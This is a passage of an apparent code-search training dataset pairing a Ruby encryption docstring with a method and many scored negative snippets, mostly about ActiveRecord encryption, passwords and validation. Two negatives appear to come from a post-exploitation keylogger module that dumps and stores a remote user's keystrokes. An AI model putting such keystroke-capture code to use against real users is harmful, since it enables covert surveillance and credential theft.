"0.6468671",
"0.646054",
"0.6454459",
"0.6415835",
"0.64101714",
"0.64078933",
"0.63968396",
"0.6384526",
"0.6379079",
"0.63779557",
"0.63774717",
"0.63333917",
"0.63229376",
"0.6321284",
"0.6320779",
"0.63110846",
"0.6290709",
"0.6285756",
"0.6285756"
] |
0.8610303
|
1
|
Override validate with our encrypt method: causes objects being saved to have relevant columns encrypted any errors raised during the encryption process result in validation failure.
|
def validate
encrypt
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def before_validation(model)\n return if model.send(@attr_name).blank?\n model.send(\"crypted_#{@attr_name}=\", AsymmetricSentry.encrypt_to_base64(model.send(@attr_name)))\n end",
"def before_validation(model)\n return unless model.send(@attribute)\n model.send(\"crypted_#{@attribute}=\", encrypt(model.send(@attribute)))\n end",
"def encryption_required?\n super\n end",
"def before_save\n encrypt_secret\n super\n end",
"def encrypt_fields\n self.encryption_fu_options[:fields].each do |field_name|\n self.encrypt_field field_name\n end\n end",
"def before_create\n raise PasswordException, \"Password is not Encrypted\" if self.new_password? && self.unencrypted?\n end",
"def before_save(model)\n return if model.send(@attr_name).blank?\n model.send(\"#{@crypted_attr_name}=\", model.send(@attr_name))\n end",
"def encrypt!(password, inki_cipher)\n\t\tif attributes = self.class.is_encrypted?\n\t\t\tattributes.each do |attribute|\n\t\t\t\tself.send(\"#{attribute}=\", encrypt_attribute(attribute, password, inki_cipher))\n\t\t\tend\n\t\t\tself.save\n\t\tend\n\tend",
"def save\r\n if valid_password?\r\n super\r\n else\r\n false\r\n end\r\n end",
"def make_facebook_model_valid!\n # These database fields are required if authenticable is used\n write_attribute(:password_salt, '') if self.respond_to?(:password_salt)\n write_attribute(:encrypted_password, '') if self.respond_to?(:encrypted_password)\n \n skip_confirmation! if self.class.skip_confimation_for_facebook_users && respond_to?(:skip_confirmation!)\n end",
"def has_encrypted_attributes(*args)\n attrs = args.flatten\n @encrypted_attributes ||= Set.new\n # always append so that multiple :has_encrypted_attributes clauses work correctly\n @encrypted_attributes += attrs.map(&:to_s)\n\n attrs.each do |a|\n # if we're encrypting this we probably don't want our controllers\n # logging our values\n if defined?(::Rails)\n Rails.application.configure do\n config.filter_parameters << a\n end\n end\n\n # this is the ivar we store our decrypted value in\n ivar = \"@#{a}\"\n encrypted_attr = \"encrypted_#{a}\"\n hashed_attr = \"hashed_#{a}\"\n # accessor - if ivar isn't defined then fetch it from the database. this\n # is potentially expensive, see default_scope comments above.\n #\n # TODO - rewrite this using http://edgeapi.rubyonrails.org/classes/ActiveRecord/Attributes/ClassMethods.html#method-i-attribute\n define_method a do\n # i can't find a more concise way to metaprogram @foo ||= bar, oh well\n unless instance_variable_defined? ivar\n # calls to super from inside the block of define_method have to have\n # the parens at the end or else ruby complains\n val = pgp_decrypt(self.send encrypted_attr.to_sym)\n begin\n val = Marshal.load ActiveRecord::Base.connection.unescape_bytea val\n rescue TypeError => e\n # not marshal'd, no big deal. noop and we use the original val we\n # loaded\n end\n instance_variable_set ivar, val\n end\n instance_variable_get ivar\n end\n\n define_method \"#{a}=\" do |value|\n instance_variable_set ivar, value\n\n # if value is not a string/number marshal it so we can save it\n # (numeric values get casted to strings)\n unless value.is_a?(String) || value.nil?\n value = ActiveRecord::Base.connection.escape_bytea Marshal.dump value\n end\n\n # if we've already got this value currently set return and don't update\n # encrypted_attr / hashed_attr. this way #changed? won't get set;\n # otherwise we'll end up with encrypted_attr changing and hashed_attr\n # remaining the same\n if value == pgp_decrypt(self.send encrypted_attr.to_sym)\n return value\n end\n\n if attribute_method? hashed_attr\n # set our hashed value only if we have it in the db\n self.send \"#{hashed_attr}=\".to_sym, digest(value)\n end\n\n # call our activerecord setter with our encrypted value\n self.send \"#{encrypted_attr}=\".to_sym, pgp_encrypt(value)\n\n end\n\n define_method \"#{a}?\" do\n self.send(a).present?\n end\n\n # now setup a scope for this class so we can search. for instance,\n # adding an encrypted :foo attribute to the Bar class means this will\n # work:\n #\n # Bar.where(something: something_else).find_by_foo(\"1235\")\n #\n # or this to find NULL values\n #\n # Bar.where(something: something_else).find_by_foo(nil)\n #\n # TODO - would be nice to also add \"#{a}_not\" methods to invert the\n # search. not sure if we need that or not? could see querying on \"IS NOT NULL\",\n # not sure we'd search on \"ssn != '123123'\"\n #\n # also i know find_by_ is supposed to only return a single value, but i\n # figured it'd be easier to remember than search_by_* or whatever. open\n # to changing this if necessary.\n #\n # TODO: rewrite this using ActiveRecord::QueryMethods / ActiveRecord::PredicateBuilder\n scope \"find_by_#{a}\".to_sym, ->(val) {\n return none unless attribute_method? hashed_attr\n if val.nil?\n # if nil was explicitly passed in we search for a NULL value\n where self.arel_table[\"hashed_#{a}\".to_sym].eq(nil)\n else\n unless val.is_a?(String)\n val = ActiveRecord::Base.connection.escape_bytea Marshal.dump val\n end\n\n # TODO - probably could refactor this with the instance methods above\n # or maybe make a new object for this instead of storing select_manager\n # and bind_params in instance variables.\n #\n # the .tap is necessary below to add bind params into our arel generated\n # query. ugly!\n crypt_opts = [Arel::Nodes::BindParam.new, Arel::Nodes::BindParam.new]\n bind_values = [[nil, val], [nil, ActiveRecord::Pgcrypto.configuration.salt]]\n\n where(self.arel_table[\"hashed_#{a}\".to_sym]\n .eq(Arel::Nodes::NamedFunction.new('crypt', crypt_opts))\n ).tap{ |arel| arel.bind_values += bind_values }\n\n end\n }\n end\n end",
"def validate\n errors.add_to_base('password', 'and confirmation do not match') unless password_confirmation == password\n errors.add_to_base(\"Your User ID is to long, can only store 4 characters!\") if self.userId.to_s.length > 4\n errors.add_to_base(\"Your User Name is to long, can only store 50 characters!\")if self.userName.to_s.length > 50\n errors.add_to_base(\"Your First Name is to long, can only store 50 characters!\")if self.firstName.to_s.length > 50\n errors.add_to_base(\"Your Last Name is to long, can only store 50 characters!\")if self.lastName.to_s.length > 50\n errors.add_to_base(\"Your Title is to long, can only store 50 characters!\") if self.title.to_s.length > 50\n errors.add_to_base(\"Your Photo is to long, can only store 50 characters!\") if self.photo.to_s.length > 50\n errors.add_to_base(\"Your Email is to long, can only store 30 characters!\") if self.email.to_s.length > 30\n errors.add_to_base(\"Your Byline ID is to long, can only store 11 characters!\") if self.bylineID.to_s.length > 11\n end",
"def validate(vmode=nil)\n # Holding pattern. All models should use super, in principal\n end",
"def encrypted_columns\n @encrypted_columns ||= encrypted_attributes.values\n end",
"def validate!\n raise ActiveRecord::RecordInvalid.new(self) unless valid?\n end",
"def validate\n begin\n validatable_rules.map{ |k, v| self.send(\"validate_\" + k.to_s) }\n rescue Errors::ValidationError => e\n raise decorate_error e\n end\n end",
"def protecting_encrypted_data(&block)\n with_encryption_context encryptor: ActiveRecord::Encryption::EncryptingOnlyEncryptor.new, frozen_encryption: true, &block\n end",
"def before_save\n self.hashed_password = User.encrypt(password) if !self.password.blank?\n end",
"def encrypt(*attributes) \n \tinclude ActiveCrypto::Encrypted\n \tbefore_save :encrypt_attributes\n \tafter_save :decrypt_attributes\n options=attributes.last.is_a?(Hash) ? attributes.pop : {}\n keyholder\n if options and options[:key]\n \t\t\t\tmodule_eval <<-\"end;\"\t\t\t\t \n \t\t\t\t\tdef session_key\n \t\t\t\t\t\t(send :#{options[:key]} ).send :session_key\n \t\t\t\t\tend\t \n \t\t\t\t\t@@external_key=true\n \t\t\t\tend;\n end\n\n base64_encode = (options and options[:base64])\n module_eval <<-\"end;\"\n def self.ezcrypto_base64?\n #{base64_encode.to_s}\n end\n end;\n \n self.encrypted_attributes=attributes\n end",
"def _before_validation\n serialize_deserialized_values\n super\n end",
"def encrypt_password\n self.salt = make_salt if new_record?\n self.encrypted_password = encrypt(password)\n end",
"def before_save\n super\n unless(self.values[:credentials])\n self.values[:credentials] = {}\n end\n random_sec = 3.times.map{ SecureRandom.urlsafe_base64 }.join\n self.user.run_state.random_sec = random_sec\n self.credentials = Utils::Cipher.encrypt(\n JSON.dump(self[:credentials]),\n :key => [\n SALTER,\n self.user.username,\n self.user.run_state.random_sec\n ].join(SALTER_JOINER),\n :iv => self.user.run_state.random_sec\n )\n self.extras = Sequel.pg_json(self.extras)\n self.infos = Sequel.pg_json(self.infos)\n if(password)\n self.password_digest = checksum(password)\n end\n end",
"def encrypted\n \tself.encrypted_password = BCrypt::Password.create(self.password)\n end",
"def encrypted_attributes\n active_record_attributes.except(*attributes_without_encrypted_values.keys)\n end",
"def before_import_save(record)\n self.allow_blank_password = true\n self.allow_blank_email = true\n end",
"def encrypt(password)\n e = self.class.encrypt(password, salt)\n\n # Clear password virtual attribute to prevent it from being shown in forms after update\n self.password = nil\n self.password_confirmation = nil #if self.respond_to?(password_confirmation)\n return e\n end",
"def activerecord_persist\n record.save(validate: false)\n end",
"def encrypt; end",
"def with_encrypted_attrs\n self.class.encrypted_attrs.each do |attr|\n next unless (value = send(attr))\n\n send(\"#{attr}=\", encrypt(value))\n end\n\n ret_val = yield if block_given?\n\n self.class.encrypted_attrs.each do |attr|\n next unless (value = send(attr))\n\n send(\"#{attr}=\", decrypt(value))\n end\n\n ret_val\n end",
"def encrypt_password\n if self.new_record? || !self.password.blank?\n self.encrypted_password = Digest::SHA256.hexdigest(\"#{self.encryption_salt}::#{@password}\")\n end\n end",
"def save_with_validation!()\n if valid?\n save_without_validation!()\n else\n raise RecordInvalid.new(self)\n end\n end",
"def validate\n super \n end",
"def encrypt_password\n self.salt = make_salt if new_record?\n self.encrypted_password = encrypt(self.password)\n end",
"def encrypt\n self\n end",
"def valid!\n raise ActiveRecord::RecordInvalid.new(self) if invalid?\n end",
"def validate\n raise 'attributes not defined' unless attributes_are_defined?\n raise 'attribute names invalid' unless attribute_names_valid?\n validate_string_attributes\n @attributes.each(&:validate)\n validate_partition_fields(\n @partitions,\n attribute_names\n )\n end",
"def before_validation\n\t\tself.class.columns.each do |c|\n\t\t\tif self[c.name] and [:string, :text].include?(c.class)\n\t\t\t\tself[c.name] = RailsSanitize.full_sanitizer.sanitize(self[c.name]) \n\t\t\tend\n\t\tend\t\t\n\tend",
"def skip_password_encryption_and_validation?\n self.id and self.password.blank?\n end",
"def validate_on_update\n old_admin = Admin.find_by_activation_code(activation_code) if !activation_code.blank?\n activation_code_valid = !old_admin.blank?\n #If the activation_code isn't present, the id should be, if we happen to be at the point of validation\n old_admin = Admin.find_by_id(id) if !activation_code_valid\n\n if operation == 'activate' #Activate\n if activation_code_valid\n errors.add(:username, \"can't be blank\") if username.blank? && old_admin.username.blank?\n errors.add(:password, \"can't be blank\") if password.blank? && old_admin.crypted_password.blank?\n else\n errors.add(:activation_code, \"is not valid.\") unless @just_activated\n end\n else\n if operation == 'password_change' #Password Change\n#Need to add in validations here\n \n else #Other Update function: restrain from changing username, password, activation_code (save(false) to inject activation_code)\n#Need to add in validations here\n \n end\n end\n if !old_admin.blank?\n errors.add(:username, \"cannot be changed once created!\") if !username.blank? && !old_admin.username.blank? && !(username == old_admin.username)\n errors.add(:activation_code, \"cannot be changed!\") unless activation_code == old_admin.activation_code or @just_activated\n @email_changed = old_admin.email == self.email ? false : true\n end\n end",
"def validate_on_update\n unless plain_password.blank?\n unless plain_password == password_confirmation\n errors.add_to_base(\"Passwords don't match\")\n end\n # Validate password criteria\n unless plain_password.length >= 6\n errors.add_to_base(\"Password must be at least 6 characters long.\")\n end\n end\n end",
"def encrypt_password\n self.salt = make_salt if new_record?\n\t self.encrypted_password = encrypt(password)\n end",
"def attr_encrypted(*attributes)\n options = handle_options!(attributes)\n\n attributes.each do |attr|\n attribute = options.attribute ||= \"#{options.prefix}#{attr}#{options.suffix}\"\n\n unless respond_to? attribute\n class_eval <<-RB\n def #{attribute}\n decrypt @#{attribute}\n end\n\n def #{attribute}?\n attr = self.#{attribute}\n if attr.respond_to?(:empty)\n !attr.empty?\n else\n !!attr\n end\n end\n RB\n end\n\n unless respond_to? \"#{attribute}=\"\n class_eval <<-RB\n def #{attribute}=(val)\n @#{attribute}= encrypt(val)\n end\n RB\n end\n end\n\n encrypted_attributes[attr] = options.marshal_dump\n end",
"def column_encryption_cryptor\n @column_encryption_cryptor ||= Cryptor.new(@column_encryption_keys)\n end",
"def encrypt_password\n self.salt = make_salt if new_record?\n self.encrypted_password = encrypt(password)\n end",
"def encrypt\n self\n end",
"def update_attributes(attributes = {}, options = {})\n %i(password password_confirmation).select do |attr|\n attributes[attr].present?\n end.each do |attr|\n send(\"#{attr}=\", attributes[attr])\n attributes.delete(attr)\n end\n attributes[:encrypted_password] = encrypted_password\n\n return false unless valid?\n\n super(attributes, options)\n end",
"def save!(options={})\n perform_validations(options) ? super : raise(RecordInvalid.new(self))\n end",
"def encrypt_password\r\n \r\n # If the user is new, create a salt\r\n self.make_salt if new_record?\r\n \r\n # Hash the salt and password to create the encrypted pass\r\n self.encrypted_password = sha_hash(\"#{self.password}--#{self.salt}\")\r\n \r\n end",
"def run_validations!\n run_callbacks(:validation) do\n super\n end\n end",
"def attr_encrypted_encrypted_attributes\n @attr_encrypted_encrypted_attributes ||= begin\n duplicated= {}\n self.class.attr_encrypted_encrypted_attributes.map { |key, value| duplicated[key] = value.dup }\n duplicated\n end\n end",
"def asymmetrically_encrypts(attr_name, options = {})\n #temp_sentry = ::Sentry::AsymmetricSentryCallback.new(attr_name)\n #before_validation temp_sentry\n #after_save temp_sentry\n unless instance_methods.include?(\"#{attr_name}_with_decryption\")\n # define_read_methods\n define_attribute_methods\n\n define_method(\"#{attr_name}_with_decryption\") do |*optional|\n begin\n crypted_value = self.send(\"#{attr_name}_without_decryption\")\n return nil if crypted_value.nil?\n key = optional.shift || (options[:key].is_a?(Proc) ? options[:key].call : options[:key]) || ::Sentry.default_key\n decrypted_value = ::Sentry::AsymmetricSentry.decrypt_large_from_base64(crypted_value, key)\n #TODO: This could come from options\n decrypted_value = decrypted_value.force_encoding(\"UTF-8\") if (!decrypted_value.nil? and decrypted_value.is_a?(String))\n return decrypted_value\n rescue Exception => e\n nil\n end\n end\n\n # alias_method_chain attr_name, :decryption\n alias_method \"#{attr_name}_without_decryption\", attr_name\n alias_method attr_name, \"#{attr_name}_with_decryption\"\n alias_method \"crypted_#{attr_name}\", \"#{attr_name}_without_decryption\"\n alias_method \"#{attr_name}_before_type_cast\", \"#{attr_name}_with_decryption\"\n\n define_method(\"#{attr_name}_with_encryption=\") do |value|\n encrypted_value = self.class.encrypt_for_sentry(value)\n self.send(\"#{attr_name}_without_encryption=\", encrypted_value)\n nil\n end\n\n # alias_method_chain \"#{attr_name}=\", :encryption\n alias_method \"#{attr_name}_without_encryption=\", \"#{attr_name}=\"\n alias_method \"#{attr_name}=\", \"#{attr_name}_with_encryption=\"\n end\n\n end",
"def set_validations\n # TODO: Move below this line to the partition class itself\n @keys.each do |key|\n case key.type\n when :continuous\n partition_class.validates_uniqueness_of(\"#{key.column}_begin\", :scope => @keys.remaining_columns(\"#{key.column}_begin\"))\n partition_class.validates_uniqueness_of(\"#{key.column}_end\", :scope => @keys.remaining_columns(\"#{key.column}_end\"))\n when :discrete\n partition_class.validates_uniqueness_of(key.column, :scope => @keys.remaining_columns(key.column))\n end\n end\n end",
"def save\n if self.valid?\n # encrypt_password\n file = File.new(FILE_PATH, \"w+\")\n YAML::dump(self.attributes, file)\n file.close\n end\n end",
"def encrypt_password\n\t\treturn if password.blank?\n\t\tif new_record?\n\t\t\tself.salt = Digest::SHA1.hexdigest(\"--#{Time.now}--#{name}--\")\n\t\tend\n\t\tself.encrypted_password = User.encrypt(password, salt)\n\tend",
"def before_save_user\n self.encrypted_password.encode! 'utf-8'\n\n # If demo is enabled, demo user cannot change email or password nor be locked\n if Feedbunch::Application.config.demo_enabled\n demo_email = Feedbunch::Application.config.demo_email\n if email_changed? && self.email_was == demo_email\n Rails.logger.info 'Somebody attempted to change the demo user email. Blocking the attempt.'\n self.errors.add :email, 'Cannot change demo user email'\n self.email = demo_email\n end\n\n demo_password = Feedbunch::Application.config.demo_password\n if encrypted_password_changed? && self.email == demo_email\n Rails.logger.info 'Somebody attempted to change the demo user password. Blocking the attempt.'\n self.errors.add :password, 'Cannot change demo user password'\n self.password = demo_password\n end\n\n if locked_at_changed? && self.email == demo_email\n Rails.logger.info 'Keeping demo user from being locked because of too many authentication failures'\n self.locked_at = nil\n end\n\n if unlock_token_changed? && self.email == demo_email\n Rails.logger.info 'Removing unlock token for demo user, demo user cannot be locked out'\n self.unlock_token = nil\n end\n end\n end",
"def validate_on_create; end",
"def validate\n super\n end",
"def _encrypt_column(column, opts)\n cryptor ||= if block_given?\n dsl = ColumnDSL.new\n yield dsl\n Cryptor.new(dsl.keys)\n else\n column_encryption_cryptor\n end\n\n encrypt_method, search_prefixes_method, search_type = case searchable = opts[:searchable]\n when nil, false\n [:encrypt, nil, Cryptor::NOT_SEARCHABLE] \n when true\n [:searchable_encrypt, :search_prefixes, Cryptor::SEARCHABLE] \n when :case_insensitive\n [:case_insensitive_searchable_encrypt, :lowercase_search_prefixes, Cryptor::LOWERCASE_SEARCHABLE] \n else\n raise Error, \"invalid :searchable option for encrypted column: #{searchable.inspect}\"\n end\n\n if searchable && opts[:search_both]\n search_prefixes_method = :regular_and_lowercase_search_prefixes\n end\n\n # Setup the callables used in the metadata.\n encryptor = cryptor.method(encrypt_method)\n decryptor = cryptor.method(:decrypt)\n data_searcher = cryptor.method(search_prefixes_method) if search_prefixes_method\n key_searcher = lambda{cryptor.current_key_prefix(search_type)}\n\n if format = opts[:format]\n if format.is_a?(Symbol)\n unless format = Sequel.synchronize{Serialization::REGISTERED_FORMATS[format]}\n raise(Error, \"Unsupported serialization format: #{format} (valid formats: #{Sequel.synchronize{Serialization::REGISTERED_FORMATS.keys}.inspect})\")\n end\n end\n\n # If a custom serialization format is used, override the\n # callables to handle serialization and deserialization.\n serializer, deserializer = format\n enc, dec, data_s = encryptor, decryptor, data_searcher\n encryptor = lambda do |data|\n enc.call(serializer.call(data))\n end\n decryptor = lambda do |data|\n deserializer.call(dec.call(data))\n end\n data_searcher = lambda do |data|\n data_s.call(serializer.call(data))\n end\n end\n\n # Setup the setter and getter methods to do encryption and decryption using\n # the serialization plugin.\n serialize_attributes([encryptor, decryptor], column)\n\n column_encryption_metadata[column] = ColumnEncryptionMetadata.new(encryptor, decryptor, data_searcher, key_searcher).freeze\n\n nil\n end",
"def encrypt_password\n if new_record?\n self.salt = make_salt\n self.password_digest = encrypt(password_digest)\n end\n end",
"def validate(record)\n if record._database_validations_fallback\n super\n else\n attributes.each do |attribute|\n reflection = record.class._reflect_on_association(attribute)\n\n next if reflection && record.public_send(reflection.foreign_key).present?\n\n validate_each(record, attribute, record.public_send(attribute))\n end\n end\n end",
"def encrypt_password\n if self.id.nil? || self.password_changed?\n self.password = BCrypt::Password.create(self.password)\n end\n end",
"def validate_on_update\n unless plain_password.blank?\n unless plain_password == password_confirmation\n errors.add_to_base(\"Passwords don't match\")\n end\n # Validate password criteria\n unless plain_password.length >= 6\n errors.add_to_base(\"Password must be at least 6 characters long.\")\n end\n end\n end",
"def encrypt_password\n\t\t\tself.salt = make_salt if new_record? #new_record? retourne \"true\" si l'objet n'est pas dans la base de données\n\t\t\tself.encrypted_password = encrypt(password)\n\t\tend",
"def encrypt_password\n\t\t\tif new_record?\n\t\t\t\tself.salt = make_salt\n\t\t\tend\n\t\t\tself.encrypted_password = encrypt(password)\n\t\tend",
"def mongoize\n encrypted\n end",
"def validate\n errors.add_to_base(\"Your Volume is to long, can only store 4 characters!\") if self.volume.to_s.length > 4\n errors.add_to_base(\"Your Number is to long, can only store 3 characters!\")if self.number.to_s.length > 3\n errors.add_to_base(\"Your Semester is to long, can only store 6 characters!\")if self.semester.to_s.length > 6\n end",
"def validate_on_create\n\t\t#puts \"--- ENTRANDO A VALIDATE ON CREATE ----- password, password_confirmation : #{self.password}, #{password_confirmation}\" \n\t\terrors.add('contraseña','no puede estar en blanco') unless !self.password.blank?\n\t\terrors.add('confirmación','no puede estar en blanco') unless !self.password_confirmation.blank?\t\t\t\t\t\n\tend",
"def resolve_encrypted!\n remove_and_adopt_encrypt_pass_param_if_any!\n encrypted_params.each do |param|\n encrypted_val = deep_delete(*dotted_to_encrypted_keys(param)) or next\n self[param] = self.decrypted(encrypted_val)\n end\n end",
"def validate!\n super()\n self\n end",
"def validate\n validate_string_attributes\n @relations.map(&:validate)\n end",
"def validate_and_sanitize\n super\n end",
"def _before_validation\n end",
"def validate_before_update\n self.errors.clear\n if @password.blank?\n self.errors.add :password, \"This is a required field.\"\n else\n self.errors.add :password, \"Must be 6-32 characters.\" unless (6..32).include?(@password.length) unless self.errors.any? \n self.errors.add :password, \"Cannot be same as username.\" if @password == self.username unless self.errors.any? # i don't think this works. -amlw\n self.errors.add :password, \"Cannot contain spaces.\" if @password =~ /\\s/ unless self.errors.any? \n end\n self.errors.add :answer, 'Your Security Question answer is incorrect.' unless validate_answer(@answer) or self.errors.any?\n end",
"def write_attribute(attr, value)\n if attribute_encrypted?(attr)\n conductor_for(attr).encrypt(value)\n else\n super(attr, value)\n end\n end",
"def freeze\n values.freeze\n changed_columns.freeze\n unless errors.frozen?\n validate\n errors.freeze\n end\n this if !new? && model.primary_key\n super\n end",
"def encrypt_password\n return if password.blank?\n self.salt = User.make_token if new_record?\n self.crypted_password = encrypt(password)\n end",
"def set_encryption_attributes\n @sorcery_config.encryption_provider.stretches = @sorcery_config.stretches if @sorcery_config.encryption_provider.respond_to?(:stretches) && @sorcery_config.stretches\n @sorcery_config.encryption_provider.join_token = @sorcery_config.salt_join_token if @sorcery_config.encryption_provider.respond_to?(:join_token) && @sorcery_config.salt_join_token\n @sorcery_config.encryption_provider.pepper = @sorcery_config.pepper if @sorcery_config.encryption_provider.respond_to?(:pepper) && @sorcery_config.pepper\n end",
"def attr_encrypted_encrypt(attribute, value)\n attr_encrypted_encrypted_attributes[attribute.to_sym][:operation] = :encrypting\n attr_encrypted_encrypted_attributes[attribute.to_sym][:value_present] = self.class.not_empty?(value)\n self.class.attr_encrypted_encrypt(attribute, value, evaluated_attr_encrypted_options_for(attribute))\n end",
"def encrypted_keys\n @encrypted_keys ||= encrypted_attributes.keys\n end",
"def subclass_validations ; true ; end",
"def validate\n validate_string_attributes\n end",
"def save(options={})\n perform_validations(options) ? super : false\n end",
"def bypass_valid\r\n self.persisted? #and self.bypass\r\n end",
"def validate\n self._errors = {}\n self.run_hook :validate\n not self.errors?\n end",
"def validate\n\t\tself.options.validate(self.datastore)\n\tend",
"def update_attributes(params = {})\n super validate_attributes(params)\n end",
"def validate\n super\n rescue Sudoku::Constraint::ConstraintError => e\n raise ConstraintError, e.message + \" in a column\"\n end",
"def encrypt_password!\n if( !password.blank? )\n self['encrypted_password_store'] = BCrypt::Password.create( password, :cost => 11 )\n password, password_confirmation = nil, nil\n end\n end",
"def save!\n unless self.class.validators.empty?\n errors.clear\n self.class.validators.each do | validator | self.send(validator) end\n if errors.empty?\n _update!\n else\n raise(ValidationError, \"Could not save #{self.inspect} due to validation errors: \" + errors.each.join(';'))\n end\n else\n _update!\n end\n self\n end",
"def update_keys\n public_key = params.require(:public_key)\n private_key = params.require(:private_key)\n salt = params.require(:salt)\n\n # Check if encrypt settings are visible to user.\n groups = current_user.groups.pluck(:name)\n encrypt_groups = SiteSetting.encrypt_groups.split('|')\n raise Discourse::InvalidAccess if !SiteSetting.encrypt_groups.empty? && (groups & encrypt_groups).empty?\n\n # Check if encryption is already enabled (but not changing passphrase).\n old_public_key = current_user.custom_fields['encrypt_public_key']\n if old_public_key && old_public_key != public_key\n return render_json_error(I18n.t('encrypt.enabled_already'), status: 409)\n end\n\n current_user.custom_fields['encrypt_public_key'] = public_key\n current_user.custom_fields['encrypt_private_key'] = private_key\n current_user.custom_fields['encrypt_salt'] = salt\n current_user.save_custom_fields\n\n render json: success_json\n end",
"def update_with_password(params, *options)\n if encrypted_password.blank?\n update_attributes(params, *options)\n else\n super\n end\n end",
"def update_with_password(params, *options)\n if encrypted_password.blank?\n update_attributes(params, *options)\n else\n super\n end\n end",
"def update_with_password(params, *options)\n if encrypted_password.blank?\n update_attributes(params, *options)\n else\n super\n end\n end",
"def update_with_password(params, *options)\n if encrypted_password.blank?\n update_attributes(params, *options)\n else\n super\n end\n end",
"def update_with_password(params, *options)\n if encrypted_password.blank?\n update_attributes(params, *options)\n else\n super\n end\n end",
"def update_with_password(params, *options)\n if encrypted_password.blank?\n update_attributes(params, *options)\n else\n super\n end\n end",
"def update_with_password(params, *options)\n if encrypted_password.blank?\n update_attributes(params, *options)\n else\n super\n end\n end",
"def update_with_password(params, *options)\n if encrypted_password.blank?\n update_attributes(params, *options)\n else\n super\n end\n end",
"def update_with_password(params, *options)\n if encrypted_password.blank?\n update_attributes(params, *options)\n else\n super\n end\n end",
"def update_with_password(params, *options)\n if encrypted_password.blank?\n update_attributes(params, *options)\n else\n super\n end\n end"
] |
[
"0.6760192",
"0.66006285",
"0.57547784",
"0.5707015",
"0.5659598",
"0.56301117",
"0.56236565",
"0.55579126",
"0.55479115",
"0.55300814",
"0.5530031",
"0.54275495",
"0.54191786",
"0.53690463",
"0.5332338",
"0.5301963",
"0.528069",
"0.52783304",
"0.5273094",
"0.526426",
"0.52548075",
"0.5246729",
"0.52436644",
"0.5214325",
"0.5212166",
"0.5207358",
"0.5205448",
"0.5200088",
"0.51950634",
"0.51855475",
"0.5184988",
"0.5184618",
"0.51821405",
"0.5145844",
"0.5140558",
"0.512963",
"0.5122601",
"0.51050276",
"0.50938433",
"0.5092906",
"0.5064168",
"0.5057537",
"0.50543696",
"0.50481683",
"0.50466764",
"0.5044498",
"0.50216764",
"0.50156826",
"0.5015025",
"0.50144964",
"0.50122535",
"0.5001074",
"0.49776417",
"0.49750537",
"0.4972487",
"0.4961607",
"0.49584016",
"0.49545404",
"0.4954197",
"0.4946336",
"0.49437487",
"0.49427372",
"0.4940926",
"0.49385145",
"0.49381793",
"0.49356937",
"0.49210292",
"0.49188948",
"0.4909503",
"0.49093422",
"0.49038312",
"0.49024191",
"0.4902189",
"0.48978183",
"0.48950347",
"0.489398",
"0.48841",
"0.48812124",
"0.48745012",
"0.4870996",
"0.48643544",
"0.4858901",
"0.48582906",
"0.48554555",
"0.48551342",
"0.48524776",
"0.48494974",
"0.4847164",
"0.48456806",
"0.48219723",
"0.47998428",
"0.47998428",
"0.47998428",
"0.47998428",
"0.47998428",
"0.47998428",
"0.47998428",
"0.47998428",
"0.47998428",
"0.47998428"
] |
0.73497045
|
0
|
Record encryption ops in the Rails log.
|
def log_operation(column, op, sev=:info)
id = (self.id.nil?) ? 'new' : self.id.to_s
if ActiveRecord::Base.colorize_logging
message = " \e[4;32;1m%s(%s).%s %s\e[0m" % [self.class.to_s, id, column, op]
else
message = "%s(%s).%s %s" % [self.class.to_s, id, column, op]
end
logger.send(sev, message)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def encryption_logger\n @encryption_logger ||= HipaaCrypt.config.logger.tap do |logger|\n logger.formatter = LogFormatter.new(self) if logger.respond_to? :formatter=\n end\n end",
"def write_keylog_data\n output = session.ui.keyscan_dump\n\n if not output.empty?\n print_good(\"Keystrokes captured #{output}\") if datastore['ShowKeystrokes']\n file_local_write(@logfile,\"#{output}\\n\")\n end\n end",
"def perform(params)\n\n init_params(params)\n\n set_encrypted_extra_data\n\n create_log\n\n end",
"def autoflush_log; end",
"def autoflush_log; end",
"def record(action, *arguments)\n log \"#{action_padding(action)}#{action} #{arguments.join(' ')}\"\n end",
"def log; end",
"def log; end",
"def log; end",
"def log; end",
"def log; end",
"def log; end",
"def log; end",
"def log; end",
"def secure_change_in_logs(checksum, this_change) \n log = @filename.to_s + Logger::DELIMITER\n log += @version.to_s + Logger::DELIMITER\n log += checksum + Logger::DELIMITER\n log += this_change.username.to_s + Logger::DELIMITER\n log += this_change.position.node.to_s + Logger::DELIMITER \n log += this_change.position.offset.to_s + Logger::DELIMITER\n\n if this_change.is_a? Insertion\n log += \"insertion\" + Logger::DELIMITER\n log += this_change.content + Logger::DELIMITER\n elsif this_change.is_a? Deletion\n log += \"deletion\" + Logger::DELIMITER\n log += this_change.direction + Logger::DELIMITER\n log += this_change.length.to_s + Logger::DELIMITER\n end\n\n # invoke the logger function to log this to the log file\n # it will add the lsn automatically\n Application.logger.recovery log\n end",
"def log\n end",
"def record!\n if OhMyLog::Log.configuration.print_log\n p \"REQUEST\"\n p @request.to_s\n p \"RESPONSE\" unless @effects.empty?\n @effects.each {|effect| p effect.to_s}\n end\n\n print_into_log\n\n #we can record everything that happend (OPTIONALL)\n if OhMyLog::Log.configuration.record_history\n OhMyLog::Log.history << self\n end\n #We always save the last operation recorded\n OhMyLog::Log.last_recorded = self\n #save this string on file or upload it somewhere\n end",
"def log\n advanced[:log]\n end",
"def write_encrypted(data)\n @writer.print(@encrypter.encrypt(data))\n end",
"def set_log\n store_loot(\"host.windows.keystrokes\", \"text/plain\", session, \"Keystroke log from #{get_process_name} on #{sysinfo['Computer']} with user #{client.sys.config.getuid} started at #{Time.now.to_s}\\n\\n\", \"keystrokes.txt\", \"User Keystrokes\")\n end",
"def phi_log_keys\n @__phi_log_id = persisted? ? \"Key: #{attributes[self.class.primary_key]}\" : \"Object: #{object_id}\"\n @__phi_log_keys = [PHI_ACCESS_LOG_TAG, self.class.name, @__phi_log_id]\n end",
"def encrypt; end",
"def logs\n\n end",
"def log_key\n @log_key ||= \"#{super}: #{name}\"\n end",
"def log_key\n @log_key ||= \"#{super}: #{name}\"\n end",
"def log_key\n @log_key ||= \"#{super}: #{name}\"\n end",
"def log_key\n @log_key ||= \"#{super}: #{name}\"\n end",
"def logs\n end",
